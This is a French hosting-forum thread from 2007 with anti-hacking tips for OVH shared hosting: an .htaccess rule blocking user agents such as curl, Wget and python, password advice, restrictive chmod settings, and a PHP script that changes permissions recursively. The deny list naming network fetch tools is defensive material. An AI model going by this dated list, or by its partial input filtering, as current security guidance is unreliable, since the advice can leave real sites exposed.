RewriteCond %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT\:\:WWW|^HTTP\:\:Lite|httplib|^Java|^LeechFTP|lwp-trivial|^LWP|libWeb|libwww|^PEAR|PECL\:\:HTTP|PHPCrawl|PycURL|python|^ReGet|Rsync|Snoopy|URI\:\:Fetch|urllib|WebDAV|^Wget [NC] ## BIBLIOTHEQUES / CLASSES HTTP DONT ON NE VEUT PAS. ATTENTION, CELA PEUT BLOQUER CERTAINES FONCTIONS DE VOTRE CMS. NE PAS TOUT EFFACER, MAIS CHERCHEZ LE NOM DE LA CLASSE HTTP CONCERNEE (DEMANDEZ AUX DEVELOPPEURS DE VOTRE CMS). CETTE LISTE BLOQUE 80% DES ROBOTS SPAMMEURS. IL FAUT LA CONSERVER.
## RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{10,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR] ## CEUX QUI INVENTENT DES NOMS AU HASARD, RETIREZ LES 2 DIESES EN DEBUT DE LIGNE POUR L'ACTIVER
RewriteRule (.*) - [F]
Lire la suite à l'article suivant...

enycu
12/08/2007, 21h57
Les mots de passe

Protégez vos mots de passe.
On peut essayer de pénétrer votre hébergement en devinant votre mot de passe FTP ou SQL. OVH propose par défaut d'excellents mots de passe mais impossibles à mémoriser. Si vous changez les mots de passe, respectez les règles suivantes:
1- un mot de passe doit avoir au minimum 8 caractères, plus c'est mieux.
2- il ne doit jamais être un mot qu'on trouve dans le dictionnaire d'aucune langue. Les logiciels pour cracker des mots de passe ont des dictionnaires de centaines de milliers de mots de toutes les langues et cherchent toutes les combinaisons. Cela prend entre quelques minutes à quelques petites heures pour cracker ces mots de passe très facilement.
3- Un bon mot de passe contient des lettres et des chiffres.
4- N'UTILISEZ JAMAIS LE MÊME MOT DE PASSE pour le FTP, base SQL, e-mail, interface d'administration du site web. Le pirate SAIT que s'il trouve votre mot de passe, il a de fortes chances que ce soit le même mot de passe ailleurs !!! Beaucoup d'hébergeurs proposent un mot de passe unique pour "simplifier" la gestion, heureusement, ce n'est pas le cas d'OVH.

Il existe des logiciels qui proposent des mots de passe mémorisables. C'est ce qu'il y a de mieux. Des sites web proposent aussi des mots de passe phonétiques, créant des mots faciles à mémoriser:
http://tools.arantius.com/password
http://www.freepasswordgenerator.com/
http://www.pctools.com/guides/password/

Une méthode personnelle de création de mot de passe:
http://forum.ovh.net/showthread.php?t=19935

Pour être sûr qu'un mot de passe mémorisable n'existe dans aucune langue, tapez-le en partie ou en entier dans Google. S'il ne retourne aucun résultat, alors votre mot de passe n'est pas un mot du dictionnaire.

enycu
12/08/2007, 21h57
Les droits d'écriture, de lecture et d'exécution.

-= INDISPENSABLE =-

Plus d'infos ici:
Le guide d'OVH sur cette question.
Description du CHMOD et de la signification des numéros.

On a l'habitude de dire qu'on doit attribuer par FTP les droits 644 à un fichier et 755 à un dossier.
En fait, le serveur mutualisé d'OVH ne semble pas utiliser de groupe. Donc, on pourrait très bien utiliser les droits 604 pour un fichier et 705 pour un dossier. Si un pirate pénètre le système avec un droit de groupe, il n'aura accès à rien, ni en lecture ni en écriture.

On peut aller plus loin. Protégeons les parties sensibles de votre blog, forum, cms, gallery, wiki, comme le fichier config.php et .htaccess en lui donnant les droits 404. Personne ne pourra le modifier, même pas vous (c'est faux dans l'absolu si votre site a un gros trou de sécurité, mais imparable contre une attaque automatique). Vous ne pourrez le faire que par FTP quand vous aurez vraiment besoin de le modifier.

Voilà comment je protège mon site:
- Tous les fichiers ont les droits 404
- Tous les dossiers ont les droits 505.
- Si un fichier ou un dossier nécessitent des droits d'écriture par le serveur mettez 604 pour le fichier et 705 pour le dossier. Chez OVH ça marche. Inutile de faire le fameux 777 (tous les droits à tout le monde). D'ailleurs OVH interdit les chmod en 777, il bloque le dossier qui a ce paramètre.
- Les fichiers config et htaccess ont des droits 404
- Le dossier "www" doit être en chmod 705, ne le changez jamais.

Avantage: personne ne peut modifier vos fichiers. Inconvénient: il faut changer les droits en écriture (604 et 705) si vous faites une mise à jour de votre blog, forum, cms, gallery, wiki et remettre les bons droits 404 et 505 après. Cela prend 10 min., mais ça vaut la peine.

Pourquoi est-ce si important ? Le pirate essaye d’installer un fichier sur votre site afin d’en prendre le contrôle (pour effacer le site, y placer des fichiers pour faire du phishing ou un script qui envoie du spam, etc.). Il cherche des trous de sécurité pour pouvoir enregistrer son fichier de prise de contrôle dans votre serveur. Si votre site web a un trou de sécurité, le pirate l’exploitera, mais comme votre site web n’a que des dossiers et fichiers interdits en écriture, il ne pourra rien enregistrer. Son attaque ne marchera pas.

Le plus simple est d’utiliser votre logiciel de FTP, d’afficher les informations relatives à un fichier ou un dossier et votre logiciel affiche l’option de modification des droits. Une autre méthode efficace, si vous avez de nombreux fichiers, est de se connecter en SSH (voir sa description plus bas). Sinon, voici un petit script PHP qui vous permettra de réaliser cette opération très simplement. Vous enregistrez ce fichier dans votre hébergement web, vous l’ouvrez depuis votre navigateur, entrez le chemin du dossier à traiter, et choisissez les réglages CHMOD pour tous les fichiers et dossiers inclus dans ce répertoire. Un rapport détaillé vous donnera les résultats.

Code PHP:
/*
FORMULAIRE DE MODIFICATION DES DROITS CHMOD DES FICHIERS ET DOSSIERS
Enregistrez ce fichier dans votre répertoire hébergement web, ouvrez-le 
avec votre navigateur et suivez les instructions.
Un rapport d'erreur est fourni.
*/

// initialisation des variables
$dosPerm "0";
$ficPerm "0";
$retval "0"// nombre d'erreurs CHMOD

 // Chemin du dossier a traiter
    
$chem preg_replace("/[^_A-Za-z0-9-\.%\/]/i",''$_POST["chemin"]);    // chemin de fichier absolu (avec nettoyage contre piratage)
    
$chem preg_replace("/\.\.\//",''$chem);    // on interdit la commande ../
    
define('ABSPATH'dirname(__FILE__));
    
$chem ABSPATH.$chem;    // chemin de fichier absolu de votre compte du genre /home/loginftp/www/ ou /home/loginftp/public_html/ etc.

//Droits des dossiers
    
$d1 preg_replace("/[^057]/",''$_POST["dir1"]);
    
$d2 preg_replace("/[^057]/",''$_POST["dir2"]);
    
$d3 preg_replace("/[^057]/",''$_POST["dir3"]);
    
$dosPerm "0".$d1.$d2.$d3;
    
$dosPerm octdec($dosPerm);
//droits des fichiers
    
$f1 preg_replace("/[^046]/i",''$_POST["fic1"]);
    
$f2 preg_replace("/[^046]/i",''$_POST["fic2"]);
    
$f3 preg_replace("/[^046]/i",''$_POST["fic3"]);
    
$ficPerm "0".$f1.$f2.$f3;
    
$ficPerm octdec($ficPerm);

// Formulaire html pour changer les droits
    
print "";
    print 
"

Changer les droits d'accès CHMOD aux dossiers et fichiers dans votre hébergement.

"
;
    print 
"";
    print 
"";
    print 
"";
    print 
"";
    print 
"";
    print 
"";
    print 
"
";
    print 
"";
    print 
"
Droits des dossiers: 057057057
Droits des fichiers: 046046046
Répertoire à contrôler: ".ABSPATH.
 ";
    print 
"";
    print 
"
"
;

if ( (
$dosPerm||$ficPerm) > ){

    function 
rChmod($chem,$dosPerm,$ficPerm) {
        echo 
"

Journal:

\r\n"
;

        
$d = new RecursiveDirectoryIterator($chem);
        
$d ->setFlags(RecursiveDirectoryIterator::SKIP_DOTS);
        foreach (new 
RecursiveIteratorIterator($d1) as $path) {
            
$chmodret false;
            
$chmodresultat "";
            if ( 
$path->isDir() ) {
            
$chmodret chmod$path$dosPerm ); }
            else {
            if ( 
is_file$path )  ) {
            
$chmodret chmod$path$ficPerm ); }
            }
            if (
$chmodret) {$chmodresultat "OK"; }
            else {
                
$chmodresultat "ERREUR";
                ++
$retval;
                }
            echo 
$chmodresultat " " $path "\r\n";
        }
    return 
$retval;
    }
    
$nbfailed rChmod($chem,$dosPerm,$ficPerm);
    echo 
"

";
    if (
$nbfailed 0) {
        echo 
$nbfailed " erreur(s) CHMOD. Voyez le journal ci-dessus.";
        }
    else echo 
"Pas d'erreur apparente. Vérifiez par vous-même.

\r\n"
;
}
    print 
"";
?>
Il est possible d'accélérer le changement des droits par SSH:
http://forum.ovh.net/showpost.php?p=104511

enycu
12/08/2007, 21h56
Je vous propose de partager votre expérience de lutte contre le piratage et le hacking de vos sites web hébergés en mutualisé chez OVH.

POUR TOUT PROBLEME D'APPLICATION, créez une discussion dans le forum "Hébergement Mutualisé" et NON dans cet article NI dans le sous-forum HOW-TO afin que tout le monde puisse trouver l'article qu'il cherche. Merci.
Donc, ne répondez pas ici, mais dans l'autre forum.

POSTEZ ICI VOS ASTUCES ANTI-PIRATAGE. L'objectif de cette discussion est de faire une liste de trucs et astuces.

Comment éviter que votre site ne soit utilisé par un pirate pour qu'il envoie ses spams à partir de votre compte ? Comment éviter le "defacing", c'est-à-dire l'effacement de votre site web et son remplacement par un autre, ou une page avec un slogan anti-occidental ? Comment éviter certains trous de sécurité?

Les serveurs en mutualisé d'OVH sont relativement sécurisés et OVH dispose d'outils qui lui permettent de bloquer certains comportements suspects. Cette action a posteriori bloque notre compte. Il est donc préférable de prévenir ce type de piratage. En tant que client et utilisateur, nous devons éviter la suspension de notre compte si nous sommes la victime d'une attaque.

Voici donc quelques conseils. C'est l'accumulation de ces trucs et astuces qui sécurisera votre site, car il n'y a pas de solution unique; les pirates utilisent plusieurs moyens différents.

Qui sont les pirates? Dans 80% des cas, ce sont des "skiddy", des jeunes ("kid" en anglais, "kiddy" pour petit jeune) qui utilisent des scripts prêts à l'emploi (le "s" de skiddy) qu'on trouve facilement sur le web pour exploiter les failles d'un blog, forum, cms, gallery, wiki, etc. Ils ne font qu'utiliser ces scripts comme on utilise un logiciel. Ce ne sont pas des "petits génies". Ils se lancent des défis à celui qui effacera le plus de sites web. Les autres sont des pirates au service d'une mafia afin de transformer votre site web et une faille de votre blog, forum, cms, gallery, wiki en logiciel d'envoi de spams. Ceux-là créent leurs propres scripts qu'ils ne partagent pas avec une communauté.

Pourquoi attaquent-ils votre site? Ni le skiddy, ni le mafieux ne vous visent personnellement. Les uns le font pour le jeu, les autres pour l'argent. Il est peu probable qu'on vous vise pour des raisons politiques. Certains skiddies effacent des sites et se cachent derrière des pseudo slogans anti-occidentaux, histoire de vous faire peur et de se prendre au sérieux. Il n'en est rien.

Comment savent-ils que mon site a une faille de sécurité? Réponse: Google ! Il cherche un fichier précis comme login.php, confip.php, ou autres, et, combiné avec quelques mots-clés, ils savent quel blog, forum, cms, gallery, wiki vous utilisez, et essaieront de lancer un script pour tester si l'attaque fonctionne. Il ne font pas ça manuellement, ils ont des logiciels qui le font automatiquement !! Leurs logiciels testent chaque URL listée par Google à la recherche de la faille. C'est aussi simple que ça. Ils vous trouvent par hasard.

Donc, nous allons essayer de nous prémunir contre ces attaques automatiques. Ces conseils ne concernent que les sites web hébergés en mutualisé sur OVH et utilisant un blog, forum, cms, gallery, wiki , etc.

CONSEIL NUMÉRO 1: votre blog, forum, cms, gallery, wiki doit être à jour. Vous suivrez les mises à jour sécurité et les installerez sans attendre.

LES RÈGLES LES PLUS IMPORTANTES:
Comme ce tutoriel est long, voici les règles qu'il faut appliquer en priorité. Vous pourrez inclure les autres après.
1- Attribuer par FTP aux fichiers les droits chmod 404 et aux dossiers les droits chmod 505. Voir l'article ici: http://forum.ovh.com/showpost.php?p=103753

2- Règles de filtrage par htaccess. Permet d'arrêter de nombreuses attaques avant de toucher votre site web. Voir les 2 articles ici http://forum.ovh.com/showpost.php?p=103757 et là http://forum.ovh.com/showpost.php?p=103758

3- Règles de sauvegarde et de restauration de votre site web. D'abord, vérifiez quels fichiers le pirate a ajouté ou modifié en installant ce script: http://forum.ovh.com/showpost.php?p=104517 . Ensuite, êtes-vous capable d'effacer complètement votre site web pour effacer toutes les traces du pirate et de tout réactiver en 30 minutes? Voici comment. Pour la sauvegarde: http://forum.ovh.com/showpost.php?p=108086 et la restauration: http://forum.ovh.com/showpost.php?p=108087

4- Si vous programmez en PHP, des règles simples de filtrages sont ici: http://forum.ovh.com/showpost.php?p=104634. Même chose pour l'injection SQL: http://forum.ovh.com/showpost.php?p=107657 . Ne soyez pas irresponsable, pensez à filtrer tout ce qui rentre dans votre script.